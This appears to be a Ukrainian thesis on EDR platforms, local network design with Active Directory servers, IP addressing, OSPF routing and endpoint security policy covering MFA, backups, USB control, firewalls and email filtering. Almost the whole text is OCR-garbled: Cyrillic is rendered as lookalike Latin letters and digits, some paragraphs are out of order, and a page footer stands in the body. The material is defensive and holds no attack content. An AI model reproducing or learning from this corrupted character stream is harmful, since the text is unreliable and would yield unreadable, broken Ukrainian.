ki0epOesneku, Takumu ik SIEM ta SOAR. Lle 3a6e3neuye:

- lenTpanizoBanuii MoHITOpUHT Ta anami3. I[urterpamis 3 SIEM nosBosse
30MpaTH Ta aHaAN3yBaTH JlaHI 3 PI3HUX JDKEpENn y pealbHOMY Yaci, IO

MIIBUIILY€ MBHUIKICTh BUSBIICHHS 3arpo3.

- ABToMarm3aiis peakilii Ha 1HHMAEHTH. 3aBasku iHTerpamii 3 SOAR, EDR
miaThopMu MOXXYTh aABTOMAaTHYHO pearyBaTh Ha 3arpo3d, BUKOHYIOUHU

3a37aJIeTib BU3HAYCHI [ii JUTsl HeWTpasizaiii 3arpos.

- Ilokpamena koopauHaiisi MDK cucTemMamu. [HTerpamis 3abesneuye
e(PEeKTUBHIIIY B3a€EMOJII0 MIX PI3HUMHU CUCTEMaMHU O€3IEKH, IO IiJIBHUILYE
3arajbHUN PIBEHb 3aXUCTY.

3) Po3Butok xmapuux EDR pimenn
3 pO3BUTKOM XMapHUX TEXHOJIOTiH, Bce Outbiie EDR pimieHp nepexonsits y

xMmapy. Lle Hagae psij nepenar:

- MacmraboBanicte. XmapHi EDR  pimeHHst Jerko MacmTaOyroThCs, L0
J03BOJII€ 3a0€3MEUUTH 3aXUCT BEIMKOI KUIBKOCTI KIHIIEBHUX BY3JiB 03

3HAYHUX BUTPAT HA IHPPACTPYKTYPY.

- JHoctynHicth 3 OyIb-KOi TOYKM CBITY. XMapHi pIIIEHHS [T03BOJSIOThH
daxiBiaM 3 KibepOe3neKn MOHITOPUTH Ta KEPyBaTH 3aXUCTOM KiHIIEBHUX BY3JIIB

3 Oyb-IKOTO MICIIS, JI€ € JOCTyM 110 [HTepHeTYy.

- OHOBIEGHHA Ta MIATPUMKA. XMapHi TUIATGOPMU YaCTO OHOBIIOIOTHCA
aBTOMATHYHO, 110 3a0e3Meuy€e CBOEYACHUM 3aXUCT BiJl HOBITHIX 3arpo3.
4) BmiuB HOBHX 3arpo3 Ha po3BuTok EDR TexHoJioriii
Hogi kibep3arpo3u, Taki K aTakyd Ha JIAHIIO)KOK MOCTa4aHHS, BUKOPHUCTAHHS
IITYYHOTO I1HTENEKTY JUIsl CTBOPEHHS CKJIAMHUX IMIKIUIMBUX MporpaM, Ta iHIII,

cTuMyII00Th po3BUTOK EDR Texnomoriit. Cyuacui EDR mnatdopmu noBunHI:

- PearyBatu Ha HOBI TMNHM arak. Po3poOisiTh HOBI aNrOpUTMH Ta METOIU

BUSBIICHHS JJIs1 IPOTUAIT HOBITHIM 3arpO3aM.
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- 3abesneuyBaTd NMPOAKTHBHUN 3aXUCT. BIpoBa/pKyBaTH MPOAKTUBHI 3aXO1H,
TaKi SK 130JIA111s] MA03PUIMX MPOIECIB Ta aBTOMAaTUYHE BITHOBJICHHS CUCTEM

MICJISA aTaKH.

- BpockonamoBaT MeToAM aHaNi3y 3arpo3. BmpoBajkyBaTu HOBITHI METOJU
aHaI3y JaHMUX JJIS MIBUIKOTO BUSABJICHHS Ta HEHUTpasi3allii 3arpo3.

BuCHOBKM /10 epmIoro po3miiy

VY nepiiomy po3niii po6oTH OyiI0 pO3TISHYTO TEOPETUYHI OCHOBH Ta 31HCHEHO
ormsin EDR-mnatdgopm. 30kpema, BH3HAYEHO MOHATTS KIHIIEBOIO By3/a Ta MOTO
BKJIMBY poJib y Mepeski. OnrcaHo OCHOBHI 3arpo3u Ta aTaku, CIPSIMOBaHI Ha KIHIIEBI
BY3JIH.

PosrnsinyTo Meroau Ta 3aco0M 3aXMCTy KIHIEBHX BY3JIB, HI0 BKIIOYAE
PI3HOMAHITHI TEXHOJIOTii Ta cTpaTerii s mpoTuaii kibep3arpo3aM. 31HCHEHO
neranbaui oryisin EDR-mimatdopm, 30kpema BuzHauenns EDR, #ioro ¢yHkiioHanbH1
MOKJIMBOCTI Ta POJIb Y CydacHHUX cucTeMax Oesmneku. [IpoBeneHo MOpIBHSUIBHUIMA
anamiz nomyasipHux EDR pimiens, 1o [03BOJIMIIO BU3HAYUTH IXHI IMEpeBard Ta
HeoMiKU. TakoXK OKpPECIIEHO OCHOBHI TeHJEHIli po3BUTKy EDR TexHomorii, 1o
JEMOHCTPY€E BKIIUBICTh Ta HEOOXITHICTD IX BIPOBA/KEHHS Yy CyUYaCHUX YMOBaX IS
3a0€3MeUEeHHS HAJIEXKHOTO Pi1BHS K10epOe3neKH.

Takum unHOM, T1eH pO3a1I 3aKIagae PyHIaMEHT JJIs TTOAAIBIIOTO JOCIIIIPKCHHS

ta anaiizy EDR mnatdopwm, ix eeKTUBHOCTI Ta BIUIUBY Ha 3aXUCT KIHIICBUX BY3JIB Yy

MEpEexi.
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PO3A1JI 2 ITPOEKTYBAHHA MEPEKI 13 BUKOPUCTAHHSM EDR
INIVIAT®OPM

2.1 IlnanyBanHss i po3podka 3arajbHOI apPXiTEeKTYpH JIOKAJbHOI

KOMII' FOTePHOI Mepe:xi

[Ipouiec miuaHyBaHHS Ta PO3POOKM 3arajbHOi apXITEKTypH KOMI'FOTEPHOI
MepexKi € BaXXJIMBUM €TarloM, 10 BU3HaUa€e e(peKTUBHICTh, MAaCIITA0OBAHICTh MEPEXKI.
[le BkiIOWae KuIbKa KPOKIB, cepel SIKUX BHU3HAUYEHHS TOTped opraizailii, BUOIp
BIJIMTOBITHOTO OOJagHAHHS, IUTAHYBAaHHS TOIOJOTIT Mepeki Ta 3a0e3leueHHs

HaIHHOCTI 1 O€3MEKU CUCTEMMU.

Pucynoxk 2.1 — Tonosoris mepexi

Tomosoris i€l KOMI'IOTEPHOT MEpEXi € MPUKIAIOM T1OPUAHOT TOMOJIOTT, sIKa
BKJIIOYA€ €JEMEHTH 3IPKOBOI Ta 1€papXiuyHOi TOMOJIOTid. 3ipKOBa TOIOJIOTIS
nependayae, 110 BCl MPUCTPOT MIAKIIOYEH] A0 LEHTPAIBLHOTO MPUCTPOIO, TAKOTO SIK
KoMyTatop abo MapmipytuzaTop. Y I Mepexi eJEeMEHTH 31PKOBOi TOMOJIOTil
npucyTHi B cermeHTax LAN A, LAN B 1 LAN C, ne kinbka po6ouux craniiit (WS)

niAKIro4eHi 1o komyraropiB SW-1, SW-2 1 SW-3 BinnosigHo.
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Pucynok 2.2 - 3ipkoBa Tonosoris

lepapxiyna Tomosorist Ma€ GaraTopiBHEBY CTPYKTYpY, J€ MEpEKeBl MPUCTPOI

OpraHi3oBaHI B KUIbKa pPIBHIB, IO CIPHUSE€ IIEHTPAII30BAHOMY YIIPABIIHHIO Ta

PO3IMOAUICHHIO HAaBaHTAXXEHHS. Y L1l Mepexi MU OauuMO TPH PIBHI:

1o [aTepuety Ta iHmmMM Mapupytuzaropam R-1, R-2, R-3.

Pisens 1 (Core Layer): OcnoBuuit Mapmipytuzarop R-MAIN, nigkimtoueHuit

Pieenr 2 (Distribution Layer): Mapmpytuzatopu R-1, R-2, R-3, mo

MIKII0Yal0ThCs 10 KomyTaTopiB pizHux cerMenTiB (LAN A, LAN B, LAN C).

I1IKJTF0YeH] poO0yYi CTaHIIi Ta CEpPBEPH.

MAIN-AD-SRV

RESERV-AD-SRV

Pucynok 2.3 — IIpoekT JiokanpHOT Mepexi

Pieenr 3 (Access Layer): Komyraropm SW-1, SW-2, SW-3, no sxux
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HaBenena cxema mpencTaBiisi€ KOMIUIEKCHY JOKaJIbHY KOMI'IOTEPHY MEPEXKY,
dKa ckianaerbes 3 Aekuibkox cermeHTiB (LAN A, LAN B, LAN C) i Bkioyae
PI3HOMAaHITHI MEPEKEB1 KOMIIOHEHTH:

1) Mapmpytuzaropu (Routers):

- R-MAIN - rosoBHu#i MapuipyTu3aTop, sIKui 3a0e3nedye IMiIKIF0YEHHS 10

InTepnery.

- R-1,R-2, R-3 - BHYTpIIIIHI MapUIPyTU3ATOPH, 110 3'€THYIOTH Pi3HI CErMEHTH
mepexi (LAN A, LAN B, LAN C).
2) Komyraropu (Switches):
- SW-1 - komyTtarop, migkmouenuii 10 LAN A, o0'ennye cepBepu (MAIN-
AD-SRV, RESERV-AD-SRV) i po6oui cTaniiii.
- SW-2 - komyTtaTop B LAN B, 00'eanye kinbka podouunx craniiii (WS-2-1 1o
WS-2-5).
- SW-3 - komyTtatop B LAN C, 00'eanye kinpka podounx craniiii (WS-3-1 1o
WS-3-5).
3) Cepsepu (Servers):

- MAIN-AD-SRV - ocHoBHwuii cepBep Active Directory.

- RESERV-AD-SRYV - pe3epBuuii cepep Active Directory.

4) Po6oui cranmii (Workstations):

- PoOoui craHmii MOIAKIIOYEHI A0 PI3HUX CErMEHTIB MEpexi uepe3
KOMYTaTOPH.

5) I npucTpoi:

- Hacker - npucTpiif, TiAKIIOYCHHA 10 MEpexi depe3 mapiipytuzatop R-

MAIN, 1110 npeacTaBisie MOTEHIINHY 3arpo3y Oe3merti.
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2.2 Po3pooka cxemu IP-anpecauii

Po3pobka cxemu IP-ampecarnii € BaXJIMBUM €TarioM y NMPOEKTYBaHHI MEpEexi,
OCKIJTbKM BOHA JIO3BOJIsI€ 3a0e3medynTH e(EeKTHBHE BHKOPUCTAHHS HOCTymHHX [P-
azpec, 3pyYHe aJMIHICTPYBaHHS Ta BHUCOKY IPOJYKTHBHICTh Mepexi. [P-ampecarris
BKJIIOYA€ MpU3HAYCHHS YHIKadbHUX [P-azpec KOXXHOMY NpPHUCTPOIO B MEPExi, 1
ICHYIOTh J1Ba OCHOBH1 THIH ajpec: [Pv4 ta IPv6.

[Pv4, HaifO1IbIII TIOIIMPEHUHN THUIT aapecarltii, CkiaaaeTbes 3 32-01TOBUX ajpec,
IO JO3BOJISiE CTBOPUTH MpUOIU3HO 4,3 MUIBApAM YyHIKaIbHHX azapec. [Ipote,
BPaxOBYIOUH 3pOCTA0Yy KUIbKICTh MPUCTPOIB, IO MITKIIOUAIOTHCS 10 [HTEepHETY, 1ei
oOcar moxxe 0yTu HemocTaTHIM. [Pv6, HOBimMiA cTaHAapT, BUKOPUCTOBYE 128-01TOBI
aapecu, 1o 3a0e3reuye MPAKTUYHO HEOOMEXKEHY KIUIbKICTh YHIKAJIbHUX aApec
(6mm3bko 3,4x10%). Bukopucranns IPv6 103Bolse YHUKHYTH OPOOIIEM 3 HECTAdYErO
IP-angpec Ta 3a0e3neduye OUTbITYy MacIITaOOBaHICTh MEPEXKI.

CerMeHTanis [03BOJSE PO3AUINTA MEPEXKYy Ha MIAMEPEXl, L0 CIpUSE
e(EeKTUBHIINIOMY BHUKOPHUCTAHHIO aJIpECHOTO TMPOCTOPY Ta MIABUIIY€E O€3MeKy 1
npoayKTuBHICTS. [1i7 yac po3poOku cxemu [P-aapecarii HeoOXiTHO BpaxoBYyBaTH TaKi

ACIICKTH:

- BusHaueHHs KUIBKOCTI MiAMEPEX Ta MPUCTPOIB y KOXHIM 3 HHUX. KUIbKICTh
N1MEPEX Ta IPUCTPOIB Y KOXKHIN MiAMEPEXk1 BIUIMBAE HA BUOIP MACKH T1MEPEXI

(subnet mask).

- Ilpusnauenns anpec niamepexxaM. HeoOXiTHO YHUKATH MEPEKPUTTS aJIpec MK
migMepekaMu Ta 3a0e3MeunTd JIOCTaTHIM 3amac aapec Juisi MaiOyTHHOTO

PO3LIMPEHHS.

- Bubip BigmoBigHOT Macku migMepexi. Macka migMepeki BU3HAYa€ KUTBKICTh
JOCTYITHUX aapec y niamepexi. Hanpuknan, macka 255.255.255.0 (/24) no3Bosnsie
MaTu 70 254 npUCTPOiB y MIAMEPEKI.

st edextuBHOTO ynipaBninHsg [P-anpecamu MoxHa BukopuctoByBatd DHCP
(Dynamic Host Configuration Protocol), mo0 aBTOMaTH4HO NpU3HAYATH aAPECU

npucTposM y Mepexi. Lle crpoinye ynpaBiaiHHS MEpExer0 Ta 3MEHIIye HMOBIPHICTb
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KOHQIKTIB aapec. OgHaK A ASSIKUX MPUCTPOIB, K1 BUMAraroTh MOCTIHHOI aapecu
(HampuKJIa, cepBepu), MOKe OyTH 3aCTOCOBaHa cTaTHyHa ajapecaiis. Lle 3a0e3neuye
CTaOlIBHICTh Ta HAAIWHICTh Mepexi, OcKinbku [P-agpecm He 3MiHIOIOThCS, aie
noTpedye O1IbIIe aAMIHICTPATUBHUX 3YCUJIb.

3 orysAy Ha BUIE3a3HA4YEeHE OYJI0 PO3JILIICHO JIOKAIIbHY MEpEeXy Ha MiaMepexi

HaBeseHo y Tabnwmi b.1.
2.3 MapumipyTu3auis Mik IPUCTPOSIMH

MapuipyTu3zaniss Mi>k HPUCTPOSAMH € KIIOYOBUM aCIEKTOM POOOTH MEpexi,
3a0e3neuyroun e(heKTUBHY Nepeady JaHUX MK PI3HUMHU MEPEKEBUMU MTPUCTPOSIMH,
TaKUMH SIK KOMII'FOTE€pPH, CEPBEPH, MAPLIPYTU3aTOPU Ta KoMyTaTtopu. Llei mpouec €
BOKJIMBUM JUIsl 3a0€3MEUEHHs 3B'A3Ky MK pISHUMU CErMEHTaMU MEpexi Ta
3a0e3reueHHs] Oe3MepepBHOro IMOTOKY 1H(opmarlii. Po3risHeMo OCHOBHI acCHEKTH

MapupyTH3aLii Mi>K IPUCTPOSIMH:

- IlpusHadenHs Ta mxepeno. KoxkeH maker JaHux, 10 MEePEIaeTbCsa MEPEKELO,
mae meBHy [P-aapecy mokepenma Ta npusHadeHHA. MapupyTusaTopu
BUKOPHUCTOBYIOTH 111 aJIpeCu JIsl IPUUHSATTS PIlIEHb PO T€, KYJIU CIPSIMYBaTH

ITaKeT.

-  MapupyTHi Tabnauni. MapupyTtuzatopu 30epiratoTe TaOIUIl MAPUIPYTIB, SIKI
MICTATHh 1H(POpPMAIIII0 MPO PI3HI MEPEXKEBI CETMEHTH Ta HaAWKpall IUIIXU
JIOCSITHEHHSI KOKHOTO 3 HUX. TaOiuIll MapuipyTiB MOCTIHHO OHOBIIOIOTHCS,

1100 B1J100pa3uTH HallaKTyallbHIlLy 1H()OPMAIIIO PO CTAH MEPEXKI.

- Ilpotokonu mapmpyrtuzarii. IcHye Kilbka MPOTOKOJIB MapiipyTH3aIlii, siKi
J0TIOMararoTh MapIpyTU3aTopaM OOMIHIOBATHCS 1HPOPMALIIEIO ITPO MEPEKEB1
MapmipyTu. Haitnommpenimumu € RIP (Routing Information Protocol), OSPF

(Open Shortest Path First) ta BGP (Border Gateway Protocol).

Tunu mapmpyrusanii
Cratnuna mapupytusaiis. [Ipy npoMy Tum mapmpyTu3auii aaMmiHICTpaTop

BpPYYHY HaJallITOBY€E MapUIpyTH Ha MapuIpyTusaropax. Lle miaxoanTs A HEBEIUKUX

Jlineyvxuii 11.0. Apk.
Tonosns O.C. KKIKEKPB - 125 - 11 - H3 37
3mn. | Apk. Ne 0okym. Hionuc | Hdama




MepeX, J€ 3MIHM B TOMOJOTii Mepexi pinkicHi. OCHOBHI MepeBard BKIIOYAIOTh
NPOCTOTY HaJAINTyBaHHS Ta HAAIMHICTh, OCKUIBKA MAapHIPYTH 3aJUIIAIOTHCA
noctiiHuMu. Hemomikom € Te, 110 1€ MiIXOAUTh JIUIIE 715 MEPEkK 3 HU3bKUM PiBHEM
3MiH.

JlunamiyHa MapHIpyTH3alisl. [Tpu JTUHAMIYHIN MapuIpyTu3aiii
MapHipyTH3aTOpX  aBTOMATHYHO  OHOBJIIOIOTH  CBOi  MapmpyTHI  TaOJwIIi,
BUKOPHCTOBYIOUHM MPOTOKOJIM MapiipyTu3ailii. [{e 103Boiisie Mepexi aantyBaTucs 10
3MiH, TaKUX SIK HECTPABHICTh MapLIpPyTU3aTOpiB a00 30iibiieHHs Tpadiky. OCHOBHI
nepeBarn BKIIOYAIOTh THYYKICTh Ta aJalTUBHICTh. HenonikoM € CKIaaHICTb
HaJAIITyBaHHS Ta MOTpeda y OUIbIIN 00YUCIIIOBATIBHINA MOTYKHOCTI.

OSPF (Open Shortest Path First)

OSPF (Open Shortest Path First) — 1ie mpoTokoJ1 JUHAMIYHOT MapIIpyTH3AIIii,
KWW BUKOPUCTOBYETHCS JJI1 BU3HAUEHHS] HAMKOPOTIIOrO NUIAXY MIX By3jiaMu B [P-
Mepexax. BiH HanexxuTh 10 Kareropii BHyTPIIIHIX TPOTOKOIIB MapuipyTu3zaiii (IGP)
1 mpaifroe Ha ocHOBI anroputMy Jleitketpu. OSPF € crangaptom, BuzHaueHum y RFC
2328, 1 4aCTO BUKOPHUCTOBYETHCS B CEPENHIX Ta BEJIMKUX KOPIOPATUBHUX Mepexkax
4yepe3 CBOI UUCIICHH] TIEpEeBari.

Opnieto 3 xmoyoBux mnepeBar OSPF € iioro mBuaka KOHBEpPreHINs, sKa
3a0e3neuye NBUIKE OHOBJIEHHS MApUIPYTHOI 1H(OpMAIii MPH 3M1H1 TOMOJIOT1i MEPEXI.
OSPF Ttakox miaTpuMye i€papxidyHy CTPYKTYpYy 3 BUKOpPUCTaHHSIM oOactelt (areas),
o0 JI03BOJISIE  3MEHIIUTH 00'eM MapumpyTHOi iHGopmarii 1 MNOKpPaUIUTH
MacitaboBanicTh Mepexi. Kpim toro, OSPF BukopucTtoBye MeTpuKky, 3aCHOBaHy Ha
MIPOITYCKHIM 3aTHOCTI KaHaJIB, 110 J03BOJISI€E BUOUPATH ONTUMAIbHI MAPIIPYTH IS
nepeaadi JaHuX.

OSPF miaTpumye posmmpeHi MeTtoaw ayTeHTu(dikaiii s 3a0e3neueHHS
Oe3neky MapupyTusamii 1 € BIAKPUTHM CTAHAApPTOM, IO TapaHTyE CYMICHICTh 3
oOnaaHaHHAM pi3HUX BUpOOHUKIB. Lle podouts OSPF ruyukum 1 HagiiHUM BUOOpOM

JUTsl TOOYTOBU CKJIATHUX 1 €PEKTUBHUX MEPEXK.
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2.4 TloaiTuka Ge3neKH KiHIeBUX MPUCTPOIB

KinmeBi mpuctpoi, Taki SK KOMI'IOTepH, cMapTHOHH, IUIAHIIETH Ta 1HII
raJI’KeTH, CTAIOTh TOJOBHUMU MIIICHSIMU JUIA K10€p3JI0UMHIIIB Uepe3 IXHIO BPa3JIuBICTh
Ta Oe3rnocepeIHii JOCTYN O KOPIIOpPAaTUBHUX pecypciB. BrpaTa abo kxoMmpomerarrist
JAaHUX Ha KIHIIEBUX MPUCTPOSX MOXKE MPU3BECTH J0 CEPHO3HUX (DIHAHCOBUX 30MTKIB,
BTpATH JOBIpY KIEHTIB 1 MapTHEPIB, a TAKOXK J0 IOPUAUYHUX HACIIJIKIB.

[ToniTuka Oe3neku AJig KIHIIEBUX MPUCTPOIB € HEOOXITHOK I MiHIMi3allii
pHU3UKIB Ta 3a0e3MeueHHs HITICHOCTI, KOH(D1IEHIIIHHOCTI 1 JOCTYMHOCTI JaHuX. Bona
BCTAHOBJIIOE€ CTaHAApPTH, MpaBWIa Ta MPOLEAYpPH, SKI JOMOMAararoTh OpraHizallisM
YOPABJISITH 0€3MEKOI0 KIHIIEBUX MPUCTPOIB 1 3a1100IraTh MOMXKJIMBUM 3arpo3aM.

[TomiTuka Oe3meku Il KIHUEBHUX IMPUCTPOIB MOYMHAETHCS 3 BU3HAUEHHS Ta
kiacuikariii BCI1X TUITIB KIHIIEBUX MPHUCTPOIB, 1110 BUKOPUCTOBYIOTHCS B OpraHizaliii.
[le BKJIFOYAa€ HACTUIbHI KOMIT'IOTEPH, HOYTOYKH, MOOLIBHI TeJe(OHU Ta IJIAHUIETH.
Knacudikamis mpucTpoiB 3a piBHEM PHU3MKY Ta BaXIUBICTIO JOCTYyHYy MO
KOPIIOPATUBHUX JIaHUX JI03BOJISI€ BCTAHOBUTH BIAMOBI/IHI 3aX0IU 3aXUCTY JUIsl KOKHOT
KaTeropii mpucTpoiB.

KonTpons goctymy € KpPUTMYHUM  €JIE€MEHTOM  TOJITHKU  O€3MeKH.
BnpoBamxenns Oaratodakropnoi ayrentudikaiii (MFA) 3abe3nedye nomaTkoBUiA
piBEHb  3aXUCTy, 3MEHIIYIOYM HMOBIPHICTh HECAHKIIOHOBAHOTO  JOCTYIY.
Buxopucranns pojieii Ta J03BONIB OOMEXye JOCTyN N0 4yTHMBOi 1H(opmaiii
BIIMOBIHO J0 TOCAJA0BUX OOOB'SI3KIB KOPUCTYBAauiB, IO JOMOMArae MiHIMI3yBaTH
PU3UKHU BUTOKY JIaHUX.

3MEHIICHHS] PU3HKIB, TOB’S3aHUX 3 BHKOPUCTAHHSIM OOJIKOBUX 3aIUCIB 3
npaBaMu aJMIHICTpaTOpa, JOCATAEThCA MIHIMI3AIIEI0 KUIBKOCTI KOPUCTYBayiB 3
TaKUMU ITpaBaMu. Bci 1HIIT KopucTyBadi MOBUHHI MPAIIOBATH 3 00MEKEHUMU MPAaBAMHU
noctyny. Bukopucrannst Group Policy s oOMexeHHs mpaB AOCTyy KOPUCTYBayiB
Joromarae 3a0e3MneynT! JO0JaTKOBUH PIBEHb 3aXUCTY.

1100 3a6e3neunTy CBOEYaCHE BCTAHOBJICHHS OHOBJICHD Ta BUIIPABIIEHb O€3MEKH,
BC1 KIHIIEBI MPUCTPOi MOBUHHI OyTH HaJaIlITOBaHI HA AaBTOMAaTUYHE 3aBAaHTAXKEHHS Ta

BCTAHOBJICHHA KPUTUYHUX OHOBJICHb OHCpaHiﬁHOi CUCTCMU Ta IPOTrpaMHOTO
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3a0e3neyeHHs. BUKopUCTaHHA 1HCTpyMeHTIB, Takux sk Microsoft Endpoint Manager
a6o Group Policy, 1o3Bossie €PEeKTUBHO YHPABISTH MPOIIECOM OHOBJICHb.

Perynsipae pe3epBHE KOMIOBAHHS € KPUTUYHO BAXKIIMBUM 3aX0JIOM IS 3aXUCTY
BOKJIMBUX JIaHUX Opradizaiii. BUKOpUCTaHHS aBTOMATU30BAHUX pIIIEHb MJIA
PE3EpBHOIO KOIIIOBAHHA, TaKUX SIK CUCTEMH XMapHOTo 30epiraHHs abo JOKaJbHI
cepBepH, J03BOJIsie 3a0€3MEUUTH PEryJisipHEe CTBOPEHHS pPE3epBHUX KoM 0e3
HEOOX1THOCT1 BTpYUYaHHS 3 00Ky KopucTyBauiB. [IoTpiOHO BCTaHOBUTH UITKUM Tpadik
PE3ePBHOTO KOMIIOBAHHS, HATIPUKIIA, IIIOAHS 200 MIOTHXKHS, B 3aJIEKHOCTI BiJl 00CATY
Ta KPpUTUIHOCTI AaHuX. Jy1sg 3a0e3nedeHHss HaIiHOCTI Pe3epBHUX KO HEOOX1THO
pEryJsipHO TEPEeBIPATH iX Ha KOPEKTHICTh Ta JOCTYMNHICTh. lle BKItoUae mepeBipKy
LTICHOCTI (paiiiiiB, BITHOBJIEHHSI BUOIPKOBUX JTAHUX JIJIsl TECTYBAaHHS Ta 3a0€3ME€UEHHS
BIJIMOBITHOCTI PE3€PBHUX KOIIii BUMOTaM Oe3rneku. PerynsipHa nepeBipka pe3epBHUX
KOITI/ JTO3BOJISIE€ BUABIIATH MOKJIIMBI MPOOJIEMH 3 KOIISIMHU Ta ONEPATUBHO iX yCyBaTH.
BukopucTaHHS IHCTPYMEHTIB ISl MOHITOPUHTY Ta 3BITHOCTI IOJI0 CTaHY PE3€PBHUX
KOIIIH JIoroMarae miATpUMyBaTH BUCOKY SIKICTh MPOIIECY PE3EPBHOTO KOMIIOBAHHS Ta
3a0e3reuye TOTOBHICTh JaHUX /10 BIIHOBJICHHS y Oy/Ib-SIKUA MOMEHT.

Kontpoars USB-mopTiB € BaXXIWBHM 3ax0jJ0M I 3a0e3reueHHs Oe3meKu
iHdopmarii B opranizaiii. HamamtyBanHs MOJITUK JJIsi KOHTPOJIO BUKOPUCTAHHS
USB-HakonmuuyBa4iB jJoromMarae 3amoOirTH  HECAHKIIOHOBAHOMY JOCTYITy [0
KOPIOPAaTUBHUX JIaHUX Ta 3MEHIIYE PHU3HK 3apaKCHHS CUCTEMHU IIKIIJIUBUM
nporpaMHuM 3a0e3meueHHsIM. BrpoBa/pkeHHS TakMx 3aXOJliB MOXKE BKIIOYATH
oOMexxeHHs a0o OnoxkyBaHHsA BukopuctanHs USB-mopTiB Ha piBHI omnepaiiitHoi
cuctemu 3a gomnomoroto Group Policy abo cmemianizoBaHOTO MPOTPAMHOTO
3a0€e3MeUeHHs AJI YIPABIIHHA NPUCTPOSIMU. AJIMIHICTPATUBHUIA KOHTPOJIb JO3BOJISIE
HagaBatu jgoctyn g0 USB-mopTiB nuiie aBTOpU30BaHWM KOPHCTyBauaM Ta
TIPUCTPOSIM.

Bukopucranns mmdpyBaHHs 1J1s JaHUX, 10 30€piraroThesl Ha 3HIMHUX HOCISIX,
€ KJIIOYOBHUM €JIEMEHTOM MOJIITUKH Oe3nedHoro Bukopuctanus USB-HakonuuyBauis.
[le rapanTye, 10 HaBITh y BUMAJKYy BTpatu abo kpaaikku USB-HakonuuyBaya

KoHOIAeHIIIIHA 1HGOpMAIlis 3aJUIINTHCS 3aXHILEHOI0 Bl HECAHKIIIOHOBAHOTO
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noctyny. BukopuctanHs mporpaMHOro 3a0e3nedyeHHs i mudpyBaHHs, TAKOTO SIK
BitLocker To Go nns Windows a6o iHII mo/1i0HI pillIeHHs], T03BOJISIE aBTOMATHYHO
m@pyBaTH BCl JaHi, 110 3aMHUCYIOTHCS Ha 3HIMHI HOC1i1. KpiM Toro, BayK1MBO HaBYaTH
CHiBpOOITHUKIB TIPO HEOOXiAHICTh mudpyBaHHs nanux Ha USB-nHakonuuyBaudax Ta
3a0e31euyBaTh BUKOHAHHS BIJIMOBIIHUX MOJITHK OC3IEKH.

Jlna 3amo0iraHHsl MEpPEeKeBUM aTakaM Ta CKaHYBaHHSM BCl KIHLIEBI TPUCTPOI
MOBUHHI MaTH AaKTUBOBaHI Ta HaJaIlTOBaHI MDKMeEpekeBl ekpaHu (dalpBoin).
Buxopucranns BOygoBanoro ¢aiipsory Windows Defender abo iHImx mepexxeBux
pIIICHb JT03BOJISIE 3a0€3MeYNTH HAIMHUM 3aXUCT Bl 30BHIIIHIX 3arpo3.

Jnist 3axucty BiI BeO-3arpo3 Ta (DINIMHTOBUX aTaK PEKOMEHIYEThCS
BUKOpPUCTOBYBaTH Oe€3leyHl Opay3epu Ta HANAIITOBYBAaTH IMOJITHKM OE3MEKH s
OokyBaHHS HebOe3neyHuX BeO-cailTiB. Buxopucranns Microsoft Edge 3
HaJallTyBaHHAM SmartScreen Ta BIANOBIAHUMH TOJITUKaMH ISl OJIOKYBaHHS
HeOe3MeyHuX cailTiB 3a0e3neuye JOJaTKOBHM pPIBEHb 3aXUCTy MiJ 4Yac cep(diHry B
[HTepHerTi.

Bignanene ynpaBiiHHS Ta MOHITOPUHI KIHUIEBUX MPHUCTPOIB JTO3BOJISIE
3M1MCHIOBATH KOHTPOJIb Ta OHOBJICHHS HaBITh 0€3 (p13MYHOT0 JOCTYIY A0 IPHUCTPOIO.
MOHITOPUHT aKTUBHOCTI KIHIIEBUX MPUCTPOIB B peaJTbHOMY Yaci OToMarae BUsIBIATH
Ta pearyBaTy Ha MiJI03piil 1ii, mo 3a0e3nedye onepaTUBHE pearyBaHHsS Ha MOKIIMBI
3arpo3u.

JI71st 3aXKUCTY BiJI MIKIJTMBOTO MPOTPAMHOTO 3a0€3MEUeHHS, SIKE€ MOKE MICTUTHUCS
y BKJIQJCHHSX €JEKTPOHHOI TIONITH, HEOOXIJHO HaJalllTyBaTd aBTOMATHUYHE
CKaHyBaHHS BCIX BKJIQJI€Hb Ha HasBHICTh MKimBuX (Qaitmie. Ile 3abe3meuye
BUSIBIICHHS Ta 0JOKyBaHHs IKiamuBoro 13 mie g0 Toro, sk KOprcTyBad 3MOKe HOro
BikpuTH. BukopucTtanHs 1HCTpyMeHTiB, TakuXx sik Microsoft Defender for Office 365
a00 1HIIMX pIIeHb Uil 3aXUCTy EJIEKTPOHHOI TMOIITH, J03BOJIIE ABTOMATHUYHO
CKaHyBaTH BKJIQJICHHsS Ta TMOMEPEIXaTH KOPHUCTYyBadiB MPO MOXJIHBI 3arpos3u. Lle
3HAYHO 3HIDKYE PU3UK 3aPKCHHS KOPIOPATUBHOT MEPEXK1 MIKIITMBUMHU MPOTpaMaMu

4epe3 eJIeKTPOHHY IOIITY.
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OinpTpaliiss crnaMmy € BaXKIMBUM 3aXO0JOM /s 3a0e3neueHHs Oe3neKku
€JICKTPOHHOT MOIITH B Opraxizaiii. BnpoBamkeHHs pimieHs 11 GiapTparllii cnamy ta
GIMHrOBUX JIMCTIB JIOTIOMAarae 3aXxMCTUTH KOPHUCTYBadiB Bix HeOaxkaHOi Ta
NOTEHI[IITHO HeOe3neuHoi KopecnoHaeHIli. [{e Bkioyae HanmamTyBaHHS aHTHCIAM-
GUIbTpIB, SKI aBTOMATHYHO BIJACIIOIOTH IIJIO3pUII JIMCTH Ta TMOIEPEHKAIOTh
KOpPHUCTYBa4iB MpPO MOXJIHMBI (IMIMHTOBI aTaku. BHKOpUCTaHHS CydacHHX
binpTpariitnux cucreM, Takux sk Microsoft Exchange Online Protection a6o iHmi
no/i0H1 pilIeHHs, J03BOJsie e(eKTHMBHO BIACIIOBaTH cmaM Ta  (DIIIMHTOBI
MOBIJTOMJICHHSI.

VYrpaBiinas MoOuibHUMH nipuctposmu  (MDM) Bxirodae BHpoBaKEHHS
CUCTEM [IJI1 KOHTPOJIO JOCTYMy Ta 3a0e3leueHHs Oe3MeKu AaHuX Ha MOOUIbHUX
raJpkeTax. 3acTOCyBaHHS MOJITUK LIOJ0 BUKOPUCTaHHS OCOOMCTUX IMPHUCTPOIB AJIS
po6otu (BYOD) BcTaHOBIIOE BUMOTH A0 O€3MeKH Ta KOH(PIAECHLINHOCTI JaHUX, 1110
3a0e3nedye 3aXMCT KOPHNOPATMBHOI 1HQOpMalli Ha OCOOMCTHX MPUCTPOSIX
CHiBPOOITHHKIB.

